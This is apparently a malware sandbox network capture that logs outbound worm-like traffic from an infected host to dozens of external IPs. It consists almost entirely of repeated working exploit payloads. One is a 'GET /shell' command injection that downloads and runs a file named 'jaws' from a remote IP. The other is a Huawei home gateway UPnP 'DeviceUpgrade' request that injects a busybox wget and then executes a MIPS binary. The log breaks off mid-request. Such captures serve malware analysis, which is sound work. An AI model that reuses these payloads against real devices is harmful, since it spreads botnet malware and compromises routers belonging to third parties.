Jun 10, 2024 15:38:02.306024075 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.13	42506	94.124.142.214	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.307423115 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.13	53204	207.231.246.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.308830023 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.13	47818	144.255.245.3	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.310241938 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.13	54766	45.60.178.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.311646938 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.13	34228	177.204.177.37	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.313323021 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.13	37140	150.107.191.158	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.314721107 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.13	33330	216.190.189.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.316251040 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.13	40720	129.130.176.0	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.317683935 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.13	52686	51.122.138.133	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.319024086 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.13	36680	172.217.48.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.320455074 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.13	39382	187.115.23.27	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.322474957 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.13	44934	129.212.137.97	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.324002028 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.13	60416	211.65.87.166	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.325383902 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.13	56960	8.62.18.145	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.326757908 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.13	34562	36.200.197.84	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.328277111 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.13	38160	156.76.237.97	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.487616062 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.13	33812	156.106.75.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.488250971 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.13	38910	41.194.53.246	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.488949060 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.13	36090	41.43.184.117	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.489622116 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.13	54648	156.113.194.151	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.490298986 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.13	47950	156.134.197.214	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.491065979 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.13	59288	41.172.90.182	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.491766930 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.13	46236	197.115.124.164	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.492496967 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r 